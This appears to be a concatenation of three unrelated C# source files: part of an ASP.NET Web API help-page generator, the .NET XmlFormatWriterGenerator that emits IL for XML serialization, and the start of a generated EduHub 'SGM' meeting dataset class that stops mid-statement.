AddParameterDescription(apiModel, apiParameter, modelDescription); } } } } private static bool IsBindableWithTypeConverter(Type parameterType) { if (parameterType == null) { return false; } return TypeDescriptor.GetConverter(parameterType).CanConvertFrom(typeof(string)); } private static ParameterDescription AddParameterDescription(HelpPageApiModel apiModel, ApiParameterDescription apiParameter, ModelDescription typeDescription) { ParameterDescription parameterDescription = new ParameterDescription { Name = apiParameter.Name, Documentation = apiParameter.Documentation, TypeDescription = typeDescription, }; apiModel.UriParameters.Add(parameterDescription); return parameterDescription; } private static void GenerateRequestModelDescription(HelpPageApiModel apiModel, ModelDescriptionGenerator modelGenerator, HelpPageSampleGenerator sampleGenerator) { ApiDescription apiDescription = apiModel.ApiDescription; foreach (ApiParameterDescription apiParameter in apiDescription.ParameterDescriptions) { if (apiParameter.Source == ApiParameterSource.FromBody) { Type parameterType = apiParameter.ParameterDescriptor.ParameterType; apiModel.RequestModelDescription = modelGenerator.GetOrCreateModelDescription(parameterType); apiModel.RequestDocumentation = apiParameter.Documentation; } else if (apiParameter.ParameterDescriptor != null && apiParameter.ParameterDescriptor.ParameterType == typeof(HttpRequestMessage)) { Type parameterType = sampleGenerator.ResolveHttpRequestMessageType(apiDescription); if (parameterType != null) { apiModel.RequestModelDescription = modelGenerator.GetOrCreateModelDescription(parameterType); } } } } private static void GenerateResourceDescription(HelpPageApiModel apiModel, ModelDescriptionGenerator modelGenerator) { ResponseDescription response = apiModel.ApiDescription.ResponseDescription; Type responseType = response.ResponseType ?? response.DeclaredType; if (responseType != null && responseType != typeof(void)) { apiModel.ResourceDescription = modelGenerator.GetOrCreateModelDescription(responseType); } } [SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes", Justification = "The exception is recorded as ErrorMessages.")] private static void GenerateSamples(HelpPageApiModel apiModel, HelpPageSampleGenerator sampleGenerator) { try { foreach (var item in sampleGenerator.GetSampleRequests(apiModel.ApiDescription)) { apiModel.SampleRequests.Add(item.Key, item.Value); LogInvalidSampleAsError(apiModel, item.Value); } foreach (var item in sampleGenerator.GetSampleResponses(apiModel.ApiDescription)) { apiModel.SampleResponses.Add(item.Key, item.Value); LogInvalidSampleAsError(apiModel, item.Value); } } catch (Exception e) { apiModel.ErrorMessages.Add(String.Format(CultureInfo.CurrentCulture, "An exception has occurred while generating the sample. Exception message: {0}", HelpPageSampleGenerator.UnwrapException(e).Message)); } } private static bool TryGetResourceParameter(ApiDescription apiDescription, HttpConfiguration config, out ApiParameterDescription parameterDescription, out Type resourceType) { parameterDescription = apiDescription.ParameterDescriptions.FirstOrDefault( p => p.Source == ApiParameterSource.FromBody || (p.ParameterDescriptor != null && p.ParameterDescriptor.ParameterType == typeof(HttpRequestMessage))); if (parameterDescription == null) { resourceType = null; return false; } resourceType = parameterDescription.ParameterDescriptor.ParameterType; if (resourceType == typeof(HttpRequestMessage)) { HelpPageSampleGenerator sampleGenerator = config.GetHelpPageSampleGenerator(); resourceType = sampleGenerator.ResolveHttpRequestMessageType(apiDescription); } if (resourceType == null) { parameterDescription = null; return false; } return true; } private static ModelDescriptionGenerator InitializeModelDescriptionGenerator(HttpConfiguration config) { ModelDescriptionGenerator modelGenerator = new ModelDescriptionGenerator(config); Collection<ApiDescription> apis = config.Services.GetApiExplorer().ApiDescriptions; foreach (ApiDescription api in apis) { ApiParameterDescription parameterDescription; Type parameterType; if (TryGetResourceParameter(api, config, out parameterDescription, out parameterType)) { modelGenerator.GetOrCreateModelDescription(parameterType); } } return modelGenerator; } private static void LogInvalidSampleAsError(HelpPageApiModel apiModel, object sample) { InvalidSample invalidSample = sample as InvalidSample; if (invalidSample != null) { apiModel.ErrorMessages.Add(invalidSample.ErrorMessage); } } } }
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. using System; using System.Xml; using System.Xml.Schema; using System.Reflection; using System.Reflection.Emit; using System.Collections; using System.Collections.Generic; using System.Globalization; using System.Security; namespace System.Runtime.Serialization { #if USE_REFEMIT || NET_NATIVE public delegate void XmlFormatClassWriterDelegate(XmlWriterDelegator xmlWriter, object obj, XmlObjectSerializerWriteContext context, ClassDataContract dataContract); public delegate void XmlFormatCollectionWriterDelegate(XmlWriterDelegator xmlWriter, object obj, XmlObjectSerializerWriteContext context, CollectionDataContract dataContract); #else internal delegate void XmlFormatClassWriterDelegate(XmlWriterDelegator xmlWriter, object obj, XmlObjectSerializerWriteContext context, ClassDataContract dataContract); internal delegate void XmlFormatCollectionWriterDelegate(XmlWriterDelegator xmlWriter, object obj, XmlObjectSerializerWriteContext context, CollectionDataContract dataContract); internal sealed class XmlFormatWriterGenerator { [SecurityCritical] /// <SecurityNote> /// Critical - holds instance of CriticalHelper which keeps state that was produced within an assert /// </SecurityNote> private CriticalHelper _helper; /// <SecurityNote> /// Critical - initializes SecurityCritical field 'helper' /// </SecurityNote> [SecurityCritical] public XmlFormatWriterGenerator() { _helper = new CriticalHelper(); } /// <SecurityNote> /// Critical - accesses SecurityCritical helper class 'CriticalHelper' /// </SecurityNote> [SecurityCritical] internal XmlFormatClassWriterDelegate GenerateClassWriter(ClassDataContract classContract) { return _helper.GenerateClassWriter(classContract); } /// <SecurityNote> /// Critical - accesses SecurityCritical helper class 'CriticalHelper' /// </SecurityNote> [SecurityCritical] internal XmlFormatCollectionWriterDelegate GenerateCollectionWriter(CollectionDataContract collectionContract) { return _helper.GenerateCollectionWriter(collectionContract); } /// <SecurityNote> /// Review - handles all aspects of IL generation including initializing the DynamicMethod. /// changes to how IL generated could affect how data is serialized and what gets access to data, /// therefore we mark it for review so that changes to generation logic are reviewed. /// </SecurityNote> private class CriticalHelper { private CodeGenerator _ilg; private ArgBuilder _xmlWriterArg; private ArgBuilder _contextArg; private ArgBuilder _dataContractArg; private LocalBuilder _objectLocal; // Used for classes private LocalBuilder _contractNamespacesLocal; private LocalBuilder _memberNamesLocal; private LocalBuilder _childElementNamespacesLocal; private int _typeIndex = 1; private int _childElementIndex = 0; internal XmlFormatClassWriterDelegate GenerateClassWriter(ClassDataContract classContract) { _ilg = new CodeGenerator(); bool memberAccessFlag = classContract.RequiresMemberAccessForWrite(null); try { _ilg.BeginMethod("Write" + classContract.StableName.Name + "ToXml", Globals.TypeOfXmlFormatClassWriterDelegate, memberAccessFlag); } catch (SecurityException securityException) { if (memberAccessFlag) { classContract.RequiresMemberAccessForWrite(securityException); } else { throw; } } InitArgs(classContract.UnderlyingType); WriteClass(classContract); return (XmlFormatClassWriterDelegate)_ilg.EndMethod(); } internal XmlFormatCollectionWriterDelegate GenerateCollectionWriter(CollectionDataContract collectionContract) { _ilg = new CodeGenerator(); bool memberAccessFlag = collectionContract.RequiresMemberAccessForWrite(null); try { _ilg.BeginMethod("Write" + collectionContract.StableName.Name + "ToXml", Globals.TypeOfXmlFormatCollectionWriterDelegate, memberAccessFlag); } catch (SecurityException securityException) { if (memberAccessFlag) { collectionContract.RequiresMemberAccessForWrite(securityException); } else { throw; } } InitArgs(collectionContract.UnderlyingType); WriteCollection(collectionContract); return (XmlFormatCollectionWriterDelegate)_ilg.EndMethod(); } private void InitArgs(Type objType) { _xmlWriterArg = _ilg.GetArg(0); _contextArg = _ilg.GetArg(2); _dataContractArg = _ilg.GetArg(3); _objectLocal = _ilg.DeclareLocal(objType, "objSerialized"); ArgBuilder objectArg = _ilg.GetArg(1); _ilg.Load(objectArg); // Copy the data from the DataTimeOffset object passed in to the DateTimeOffsetAdapter. // DateTimeOffsetAdapter is used here for serialization purposes to bypass the ISerializable implementation // on DateTimeOffset; which does not work in partial trust. if (objType == Globals.TypeOfDateTimeOffsetAdapter) { _ilg.ConvertValue(objectArg.ArgType, Globals.TypeOfDateTimeOffset); _ilg.Call(XmlFormatGeneratorStatics.GetDateTimeOffsetAdapterMethod); } //Copy the KeyValuePair<K,T> to a KeyValuePairAdapter<K,T>. else if (objType.GetTypeInfo().IsGenericType && objType.GetGenericTypeDefinition() == Globals.TypeOfKeyValuePairAdapter) { ClassDataContract dc = (ClassDataContract)DataContract.GetDataContract(objType); _ilg.ConvertValue(objectArg.ArgType, Globals.TypeOfKeyValuePair.MakeGenericType(dc.KeyValuePairGenericArguments)); _ilg.New(dc.KeyValuePairAdapterConstructorInfo); } else { _ilg.ConvertValue(objectArg.ArgType, objType); } _ilg.Stloc(_objectLocal); } private void InvokeOnSerializing(ClassDataContract classContract) { if (classContract.BaseContract != null) InvokeOnSerializing(classContract.BaseContract); if (classContract.OnSerializing != null) { _ilg.LoadAddress(_objectLocal); _ilg.Load(_contextArg); _ilg.Call(XmlFormatGeneratorStatics.GetStreamingContextMethod); _ilg.Call(classContract.OnSerializing); } } private void InvokeOnSerialized(ClassDataContract classContract) { if (classContract.BaseContract != null) InvokeOnSerialized(classContract.BaseContract); if (classContract.OnSerialized != null) { _ilg.LoadAddress(_objectLocal); _ilg.Load(_contextArg); _ilg.Call(XmlFormatGeneratorStatics.GetStreamingContextMethod); _ilg.Call(classContract.OnSerialized); } } private void WriteClass(ClassDataContract classContract) { InvokeOnSerializing(classContract); { if (classContract.ContractNamespaces.Length > 1) { _contractNamespacesLocal = _ilg.DeclareLocal(typeof(XmlDictionaryString[]), "contractNamespaces"); _ilg.Load(_dataContractArg); _ilg.LoadMember(XmlFormatGeneratorStatics.ContractNamespacesField); _ilg.Store(_contractNamespacesLocal); } _memberNamesLocal = _ilg.DeclareLocal(typeof(XmlDictionaryString[]), "memberNames"); _ilg.Load(_dataContractArg); _ilg.LoadMember(XmlFormatGeneratorStatics.MemberNamesField); _ilg.Store(_memberNamesLocal); for (int i = 0; i < classContract.ChildElementNamespaces.Length; i++) { if (classContract.ChildElementNamespaces[i] != null) { _childElementNamespacesLocal = _ilg.DeclareLocal(typeof(XmlDictionaryString[]), "childElementNamespaces"); _ilg.Load(_dataContractArg); _ilg.LoadMember(XmlFormatGeneratorStatics.ChildElementNamespacesProperty); _ilg.Store(_childElementNamespacesLocal); } } WriteMembers(classContract, null, classContract); } InvokeOnSerialized(classContract); } private int WriteMembers(ClassDataContract classContract, LocalBuilder extensionDataLocal, ClassDataContract derivedMostClassContract) { int memberCount = (classContract.BaseContract == null) ? 0 : WriteMembers(classContract.BaseContract, extensionDataLocal, derivedMostClassContract); LocalBuilder namespaceLocal = _ilg.DeclareLocal(typeof(XmlDictionaryString), "ns"); if (_contractNamespacesLocal == null) { _ilg.Load(_dataContractArg); _ilg.LoadMember(XmlFormatGeneratorStatics.NamespaceProperty); } else _ilg.LoadArrayElement(_contractNamespacesLocal, _typeIndex - 1); _ilg.Store(namespaceLocal); _ilg.Call(_contextArg, XmlFormatGeneratorStatics.IncrementItemCountMethod, classContract.Members.Count); for (int i = 0; i < classContract.Members.Count; i++, memberCount++) { DataMember member = classContract.Members[i]; Type memberType = member.MemberType; LocalBuilder memberValue = null; if (member.IsGetOnlyCollection) { _ilg.Load(_contextArg); _ilg.Call(XmlFormatGeneratorStatics.StoreIsGetOnlyCollectionMethod); } if (!member.EmitDefaultValue) { memberValue = LoadMemberValue(member); _ilg.IfNotDefaultValue(memberValue); } bool writeXsiType = CheckIfMemberHasConflict(member, classContract, derivedMostClassContract); if (writeXsiType || !TryWritePrimitive(memberType, memberValue, member.MemberInfo, null /*arrayItemIndex*/, namespaceLocal, null /*nameLocal*/, i + _childElementIndex)) { WriteStartElement(memberType, classContract.Namespace, namespaceLocal, null /*nameLocal*/, i + _childElementIndex); if (classContract.ChildElementNamespaces[i + _childElementIndex] != null) { _ilg.Load(_xmlWriterArg); _ilg.LoadArrayElement(_childElementNamespacesLocal, i + _childElementIndex); _ilg.Call(XmlFormatGeneratorStatics.WriteNamespaceDeclMethod); } if (memberValue == null) memberValue = LoadMemberValue(member); WriteValue(memberValue, writeXsiType); WriteEndElement(); } if (!member.EmitDefaultValue) { if (member.IsRequired) { _ilg.Else(); _ilg.Call(null, XmlFormatGeneratorStatics.ThrowRequiredMemberMustBeEmittedMethod, member.Name, classContract.UnderlyingType); } _ilg.EndIf(); } } _typeIndex++; _childElementIndex += classContract.Members.Count; return memberCount; } private LocalBuilder LoadMemberValue(DataMember member) { _ilg.LoadAddress(_objectLocal); _ilg.LoadMember(member.MemberInfo); LocalBuilder memberValue = _ilg.DeclareLocal(member.MemberType, member.Name + "Value"); _ilg.Stloc(memberValue); return memberValue; } private void WriteCollection(CollectionDataContract collectionContract) { LocalBuilder itemNamespace = _ilg.DeclareLocal(typeof(XmlDictionaryString), "itemNamespace"); _ilg.Load(_dataContractArg); _ilg.LoadMember(XmlFormatGeneratorStatics.NamespaceProperty); _ilg.Store(itemNamespace); LocalBuilder itemName = _ilg.DeclareLocal(typeof(XmlDictionaryString), "itemName"); _ilg.Load(_dataContractArg); _ilg.LoadMember(XmlFormatGeneratorStatics.CollectionItemNameProperty); _ilg.Store(itemName); if (collectionContract.ChildElementNamespace != null) { _ilg.Load(_xmlWriterArg); _ilg.Load(_dataContractArg); _ilg.LoadMember(XmlFormatGeneratorStatics.ChildElementNamespaceProperty); _ilg.Call(XmlFormatGeneratorStatics.WriteNamespaceDeclMethod); } if (collectionContract.Kind == CollectionKind.Array) { Type itemType = collectionContract.ItemType; LocalBuilder i = _ilg.DeclareLocal(Globals.TypeOfInt, "i"); _ilg.Call(_contextArg, XmlFormatGeneratorStatics.IncrementArrayCountMethod, _xmlWriterArg, _objectLocal); if (!TryWritePrimitiveArray(collectionContract.UnderlyingType, itemType, _objectLocal, itemName, itemNamespace)) { _ilg.For(i, 0, _objectLocal); if (!TryWritePrimitive(itemType, null /*value*/, null /*memberInfo*/, i /*arrayItemIndex*/, itemNamespace, itemName, 0 /*nameIndex*/)) { WriteStartElement(itemType, collectionContract.Namespace, itemNamespace, itemName, 0 /*nameIndex*/); _ilg.LoadArrayElement(_objectLocal, i); LocalBuilder memberValue = _ilg.DeclareLocal(itemType, "memberValue"); _ilg.Stloc(memberValue); WriteValue(memberValue, false /*writeXsiType*/); WriteEndElement(); } _ilg.EndFor(); } } else { MethodInfo incrementCollectionCountMethod = null; switch (collectionContract.Kind) { case CollectionKind.Collection: case CollectionKind.List: case CollectionKind.Dictionary: incrementCollectionCountMethod = XmlFormatGeneratorStatics.IncrementCollectionCountMethod; break; case CollectionKind.GenericCollection: case CollectionKind.GenericList: incrementCollectionCountMethod = XmlFormatGeneratorStatics.IncrementCollectionCountGenericMethod.MakeGenericMethod(collectionContract.ItemType); break; case CollectionKind.GenericDictionary: incrementCollectionCountMethod = XmlFormatGeneratorStatics.IncrementCollectionCountGenericMethod.MakeGenericMethod(Globals.TypeOfKeyValuePair.MakeGenericType(collectionContract.ItemType.GetGenericArguments())); break; } if (incrementCollectionCountMethod != null) { _ilg.Call(_contextArg, incrementCollectionCountMethod, _xmlWriterArg, _objectLocal); } bool isDictionary = false, isGenericDictionary = false; Type enumeratorType = null; Type[] keyValueTypes = null; if (collectionContract.Kind == CollectionKind.GenericDictionary) { isGenericDictionary = true; keyValueTypes = collectionContract.ItemType.GetGenericArguments(); enumeratorType = Globals.TypeOfGenericDictionaryEnumerator.MakeGenericType(keyValueTypes); } else if (collectionContract.Kind == CollectionKind.Dictionary) { isDictionary = true; keyValueTypes = new Type[] { Globals.TypeOfObject, Globals.TypeOfObject }; enumeratorType = Globals.TypeOfDictionaryEnumerator; } else { enumeratorType = collectionContract.GetEnumeratorMethod.ReturnType; } MethodInfo moveNextMethod = enumeratorType.GetMethod(Globals.MoveNextMethodName, BindingFlags.Instance | BindingFlags.Public, Array.Empty<Type>()); MethodInfo getCurrentMethod = enumeratorType.GetMethod(Globals.GetCurrentMethodName, BindingFlags.Instance | BindingFlags.Public, Array.Empty<Type>()); if (moveNextMethod == null || getCurrentMethod == null) { if (enumeratorType.GetTypeInfo().IsInterface) { if (moveNextMethod == null) moveNextMethod = XmlFormatGeneratorStatics.MoveNextMethod; if (getCurrentMethod == null) getCurrentMethod = XmlFormatGeneratorStatics.GetCurrentMethod; } else { Type ienumeratorInterface = Globals.TypeOfIEnumerator; CollectionKind kind = collectionContract.Kind; if (kind == CollectionKind.GenericDictionary || kind == CollectionKind.GenericCollection || kind == CollectionKind.GenericEnumerable) { Type[] interfaceTypes = enumeratorType.GetInterfaces(); foreach (Type interfaceType in interfaceTypes) { if (interfaceType.GetTypeInfo().IsGenericType && interfaceType.GetGenericTypeDefinition() == Globals.TypeOfIEnumeratorGeneric && interfaceType.GetGenericArguments()[0] == collectionContract.ItemType) { ienumeratorInterface = interfaceType; break; } } } if (moveNextMethod == null) moveNextMethod = CollectionDataContract.GetTargetMethodWithName(Globals.MoveNextMethodName, enumeratorType, ienumeratorInterface); if (getCurrentMethod == null) getCurrentMethod = CollectionDataContract.GetTargetMethodWithName(Globals.GetCurrentMethodName, enumeratorType, ienumeratorInterface); } } Type elementType = getCurrentMethod.ReturnType; LocalBuilder currentValue = _ilg.DeclareLocal(elementType, "currentValue"); LocalBuilder enumerator = _ilg.DeclareLocal(enumeratorType, "enumerator"); _ilg.Call(_objectLocal, collectionContract.GetEnumeratorMethod); if (isDictionary) { _ilg.ConvertValue(collectionContract.GetEnumeratorMethod.ReturnType, Globals.TypeOfIDictionaryEnumerator); _ilg.New(XmlFormatGeneratorStatics.DictionaryEnumeratorCtor); } else if (isGenericDictionary) { Type ctorParam = Globals.TypeOfIEnumeratorGeneric.MakeGenericType(Globals.TypeOfKeyValuePair.MakeGenericType(keyValueTypes)); ConstructorInfo dictEnumCtor = enumeratorType.GetConstructor(Globals.ScanAllMembers, new Type[] { ctorParam }); _ilg.ConvertValue(collectionContract.GetEnumeratorMethod.ReturnType, ctorParam); _ilg.New(dictEnumCtor); } _ilg.Stloc(enumerator); _ilg.ForEach(currentValue, elementType, enumeratorType, enumerator, getCurrentMethod); if (incrementCollectionCountMethod == null) { _ilg.Call(_contextArg, XmlFormatGeneratorStatics.IncrementItemCountMethod, 1); } if (!TryWritePrimitive(elementType, currentValue, null /*memberInfo*/, null /*arrayItemIndex*/, itemNamespace, itemName, 0 /*nameIndex*/)) { WriteStartElement(elementType, collectionContract.Namespace, itemNamespace, itemName, 0 /*nameIndex*/); if (isGenericDictionary || isDictionary) { _ilg.Call(_dataContractArg, XmlFormatGeneratorStatics.GetItemContractMethod); _ilg.Load(_xmlWriterArg); _ilg.Load(currentValue); _ilg.ConvertValue(currentValue.LocalType, Globals.TypeOfObject); _ilg.Load(_contextArg); _ilg.Call(XmlFormatGeneratorStatics.WriteXmlValueMethod); } else { WriteValue(currentValue, false /*writeXsiType*/); } WriteEndElement(); } _ilg.EndForEach(moveNextMethod); } } private bool TryWritePrimitive(Type type, LocalBuilder value, MemberInfo memberInfo, LocalBuilder arrayItemIndex, LocalBuilder ns, LocalBuilder name, int nameIndex) { PrimitiveDataContract primitiveContract = PrimitiveDataContract.GetPrimitiveDataContract(type); if (primitiveContract == null || primitiveContract.UnderlyingType == Globals.TypeOfObject) return false; // load xmlwriter if (type.GetTypeInfo().IsValueType) { _ilg.Load(_xmlWriterArg); } else { _ilg.Load(_contextArg); _ilg.Load(_xmlWriterArg); } // load primitive value if (value != null) { _ilg.Load(value); } else if (memberInfo != null) { _ilg.LoadAddress(_objectLocal); _ilg.LoadMember(memberInfo); } else { _ilg.LoadArrayElement(_objectLocal, arrayItemIndex); } // load name if (name != null) { _ilg.Load(name); } else { _ilg.LoadArrayElement(_memberNamesLocal, nameIndex); } // load namespace _ilg.Load(ns); // call method to write primitive _ilg.Call(primitiveContract.XmlFormatWriterMethod); return true; } private bool TryWritePrimitiveArray(Type type, Type itemType, LocalBuilder value, LocalBuilder itemName, LocalBuilder itemNamespace) { PrimitiveDataContract primitiveContract = PrimitiveDataContract.GetPrimitiveDataContract(itemType); if (primitiveContract == null) return false; string writeArrayMethod = null; switch (itemType.GetTypeCode()) { case TypeCode.Boolean: writeArrayMethod = "WriteBooleanArray"; break; case TypeCode.DateTime: writeArrayMethod = "WriteDateTimeArray"; break; case TypeCode.Decimal: writeArrayMethod = "WriteDecimalArray"; break; case TypeCode.Int32: writeArrayMethod = "WriteInt32Array"; break; case TypeCode.Int64: writeArrayMethod = "WriteInt64Array"; break; case TypeCode.Single: writeArrayMethod = "WriteSingleArray"; break; case TypeCode.Double: writeArrayMethod = "WriteDoubleArray"; break; default: break; } if (writeArrayMethod != null) { _ilg.Load(_xmlWriterArg); _ilg.Load(value); _ilg.Load(itemName); _ilg.Load(itemNamespace); _ilg.Call(typeof(XmlWriterDelegator).GetMethod(writeArrayMethod, Globals.ScanAllMembers, new Type[] { type, typeof(XmlDictionaryString), typeof(XmlDictionaryString) })); return true; } return false; } private void WriteValue(LocalBuilder memberValue, bool writeXsiType) { Type memberType = memberValue.LocalType; bool isNullableOfT = (memberType.GetTypeInfo().IsGenericType && memberType.GetGenericTypeDefinition() == Globals.TypeOfNullable); if (memberType.GetTypeInfo().IsValueType && !isNullableOfT) { PrimitiveDataContract primitiveContract = PrimitiveDataContract.GetPrimitiveDataContract(memberType); if (primitiveContract != null && !writeXsiType) _ilg.Call(_xmlWriterArg, primitiveContract.XmlFormatContentWriterMethod, memberValue); else InternalSerialize(XmlFormatGeneratorStatics.InternalSerializeMethod, memberValue, memberType, writeXsiType); } else { if (isNullableOfT) { memberValue = UnwrapNullableObject(memberValue);//Leaves !HasValue on stack memberType = memberValue.LocalType; } else { _ilg.Load(memberValue); _ilg.Load(null); _ilg.Ceq(); } _ilg.If(); _ilg.Call(_contextArg, XmlFormatGeneratorStatics.WriteNullMethod, _xmlWriterArg, memberType, DataContract.IsTypeSerializable(memberType)); _ilg.Else(); PrimitiveDataContract primitiveContract = PrimitiveDataContract.GetPrimitiveDataContract(memberType); if (primitiveContract != null && primitiveContract.UnderlyingType != Globals.TypeOfObject && !writeXsiType) { if (isNullableOfT) { _ilg.Call(_xmlWriterArg, primitiveContract.XmlFormatContentWriterMethod, memberValue); } else { _ilg.Call(_contextArg, primitiveContract.XmlFormatContentWriterMethod, _xmlWriterArg, memberValue); } } else { if (memberType == Globals.TypeOfObject ||//boxed Nullable<T> memberType == Globals.TypeOfValueType || ((IList)Globals.TypeOfNullable.GetInterfaces()).Contains(memberType)) { _ilg.Load(memberValue); _ilg.ConvertValue(memberValue.LocalType, Globals.TypeOfObject); memberValue = _ilg.DeclareLocal(Globals.TypeOfObject, "unwrappedMemberValue"); memberType = memberValue.LocalType; _ilg.Stloc(memberValue); _ilg.If(memberValue, Cmp.EqualTo, null); _ilg.Call(_contextArg, XmlFormatGeneratorStatics.WriteNullMethod, _xmlWriterArg, memberType, DataContract.IsTypeSerializable(memberType)); _ilg.Else(); } InternalSerialize((isNullableOfT ? XmlFormatGeneratorStatics.InternalSerializeMethod : XmlFormatGeneratorStatics.InternalSerializeReferenceMethod), memberValue, memberType, writeXsiType); if (memberType == Globals.TypeOfObject) //boxed Nullable<T> _ilg.EndIf(); } _ilg.EndIf(); } } private void InternalSerialize(MethodInfo methodInfo, LocalBuilder memberValue, Type memberType, bool writeXsiType) { _ilg.Load(_contextArg); _ilg.Load(_xmlWriterArg); _ilg.Load(memberValue); _ilg.ConvertValue(memberValue.LocalType, Globals.TypeOfObject); //In SL GetTypeHandle throws MethodAccessException as its internal and extern. //So as a workaround, call XmlObjectSerializerWriteContext.IsMemberTypeSameAsMemberValue that //does the actual comparison and returns the bool value we care. _ilg.Call(null, XmlFormatGeneratorStatics.IsMemberTypeSameAsMemberValue, memberValue, memberType); _ilg.Load(writeXsiType); _ilg.Load(DataContract.GetId(memberType.TypeHandle)); _ilg.Ldtoken(memberType); _ilg.Call(methodInfo); } private LocalBuilder UnwrapNullableObject(LocalBuilder memberValue)// Leaves !HasValue on stack { Type memberType = memberValue.LocalType; Label onNull = _ilg.DefineLabel(); Label end = _ilg.DefineLabel(); _ilg.Load(memberValue); while (memberType.GetTypeInfo().IsGenericType && memberType.GetGenericTypeDefinition() == Globals.TypeOfNullable) { Type innerType = memberType.GetGenericArguments()[0]; _ilg.Dup(); _ilg.Call(XmlFormatGeneratorStatics.GetHasValueMethod.MakeGenericMethod(innerType)); _ilg.Brfalse(onNull); _ilg.Call(XmlFormatGeneratorStatics.GetNullableValueMethod.MakeGenericMethod(innerType)); memberType = innerType; } memberValue = _ilg.DeclareLocal(memberType, "nullableUnwrappedMemberValue"); _ilg.Stloc(memberValue); _ilg.Load(false); //isNull _ilg.Br(end); _ilg.MarkLabel(onNull); _ilg.Pop(); _ilg.Call(XmlFormatGeneratorStatics.GetDefaultValueMethod.MakeGenericMethod(memberType)); _ilg.Stloc(memberValue); _ilg.Load(true);//isNull _ilg.MarkLabel(end); return memberValue; } private bool NeedsPrefix(Type type, XmlDictionaryString ns) { return type == Globals.TypeOfXmlQualifiedName && (ns != null && ns.Value != null && ns.Value.Length > 0); } private void WriteStartElement(Type type, XmlDictionaryString ns, LocalBuilder namespaceLocal, LocalBuilder nameLocal, int nameIndex) { bool needsPrefix = NeedsPrefix(type, ns); _ilg.Load(_xmlWriterArg); // prefix if (needsPrefix) _ilg.Load(Globals.ElementPrefix); // localName if (nameLocal == null) _ilg.LoadArrayElement(_memberNamesLocal, nameIndex); else _ilg.Load(nameLocal); // namespace _ilg.Load(namespaceLocal); _ilg.Call(needsPrefix ? XmlFormatGeneratorStatics.WriteStartElementMethod3 : XmlFormatGeneratorStatics.WriteStartElementMethod2); } private void WriteEndElement() { _ilg.Call(_xmlWriterArg, XmlFormatGeneratorStatics.WriteEndElementMethod); } private bool CheckIfMemberHasConflict(DataMember member, ClassDataContract classContract, ClassDataContract derivedMostClassContract) { // Check for conflict with base type members if (CheckIfConflictingMembersHaveDifferentTypes(member)) return true; // Check for conflict with derived type members string name = member.Name; string ns = classContract.StableName.Namespace; ClassDataContract currentContract = derivedMostClassContract; while (currentContract != null && currentContract != classContract) { if (ns == currentContract.StableName.Namespace) { List<DataMember> members = currentContract.Members; for (int j = 0; j < members.Count; j++) { if (name == members[j].Name) return CheckIfConflictingMembersHaveDifferentTypes(members[j]); } } currentContract = currentContract.BaseContract; } return false; } private bool CheckIfConflictingMembersHaveDifferentTypes(DataMember member) { while (member.ConflictingMember != null) { if (member.MemberType != member.ConflictingMember.MemberType) return true; member = member.ConflictingMember; } return false; } } } #endif }
using System; using System.CodeDom.Compiler; using System.Collections.Generic; using System.Data; using System.Data.SqlClient; using System.Globalization; using System.Linq; using System.Text; namespace EduHub.Data.Entities { /// <summary> /// Special Group Meetings Data Set /// </summary> [GeneratedCode("EduHub Data", "0.9")] public sealed partial class SGMDataSet : EduHubDataSet<SGM> { /// <inheritdoc /> public override string Name { get { return "SGM"; } } /// <inheritdoc /> public override bool SupportsEntityLastModified { get { return true; } } internal SGMDataSet(EduHubContext Context) : base(Context) { Index_MEETING_DATE = new Lazy<NullDictionary<DateTime?, IReadOnlyList<SGM>>>(() => this.ToGroupedNullDictionary(i => i.MEETING_DATE)); Index_MEETING_ROOM = new Lazy<NullDictionary<string, IReadOnlyList<SGM>>>(() => this.ToGroupedNullDictionary(i => i.MEETING_ROOM)); Index_SGMKEY = new Lazy<Dictionary<string, IReadOnlyList<SGM>>>(() => this.ToGroupedDictionary(i => i.SGMKEY)); Index_SGMKEY_MEETING_DATE_MEETING_TIME = new Lazy<Dictionary<Tuple<string, DateTime?, short?>, SGM>>(() => this.ToDictionary(i => Tuple.Create(i.SGMKEY, i.MEETING_DATE, i.MEETING_TIME))); Index_TID = new Lazy<Dictionary<int, SGM>>(() => this.ToDictionary(i => i.TID)); } /// <summary> /// Matches CSV file headers to actions, used to deserialize <see cref="SGM" /> /// </summary> /// <param name="Headers">The CSV column headers</param> /// <returns>An array of actions which deserialize <see cref="SGM" /> fields for each CSV column header</returns> internal override Action<SGM, string>[] BuildMapper(IReadOnlyList<string> Headers) { var mapper = new Action<SGM, string>[Headers.Count]; for (var i = 0; i < Headers.Count; i++) { switch (Headers[i]) { case "TID": mapper[i] = (e, v) => e.TID = int.Parse(v); break; case "SGMKEY": mapper[i] = (e, v) => e.SGMKEY = v; break; case "MEETING_DATE": mapper[i] = (e, v) => e.MEETING_DATE = v == null ? (DateTime?)null : DateTime.ParseExact(v, "d/MM/yyyy h:mm:ss tt", CultureInfo.InvariantCulture); break; case "MEETING_TIME": mapper[i] = (e, v) => e.MEETING_TIME = v == null ? (short?)null : short.Parse(v); break; case "PURPOSE_BRIEF": mapper[i] = (e, v) => e.PURPOSE_BRIEF = v; break; case "PURPOSE_DETAIL": mapper[i] = (e, v) => e.PURPOSE_DETAIL = v; break; case "MEETING_ROOM": mapper[i] = (e, v) => e.MEETING_ROOM = v; break; case "MINUTES_MEMO": mapper[i] = (e, v) => e.MINUTES_MEMO = v; break; case "LW_TIME": mapper[i] = (e, v) => e.LW_TIME = v == null ? (short?)null : short.Parse(v); break; case "LW_DATE": mapper[i] = (e, v) => e.LW_DATE = v == null ? (DateTime?)null : DateTime.ParseExact(v, "d/MM/yyyy h:mm:ss tt", CultureInfo.InvariantCulture); break; case "LW_USER": mapper[i] = (e, v) => e.LW_USER = v; break; default: mapper[i] = MapperNoOp; break; } } return mapper; } /// <summary> /// Merges <see cref="SGM" /> delta entities /// </summary> /// <param name="Entities">Iterator for base <see cref="SGM" /> entities</param> /// <param name="DeltaEntities">List of delta <see cref="SGM" /> entities</param> /// <returns>A merged <see cref="IEnumerable{SGM}"/> of entities</returns> internal override IEnumerable<SGM> ApplyDeltaEntities(IEnumerable<SGM> Entities, List<SGM> DeltaEntities) { HashSet<Tuple<string, DateTime?, short?>> Index_SGMKEY_MEETING_DATE_MEETING_TIME = new HashSet<Tuple<string, DateTime?, short?>>(DeltaEntities.Select(i => Tuple.Create(i.SGMKEY, i.MEETING_DATE, i.MEETING_TIME))); HashSet<int> Index_TID = new HashSet<int>(DeltaEntities.Select(i => 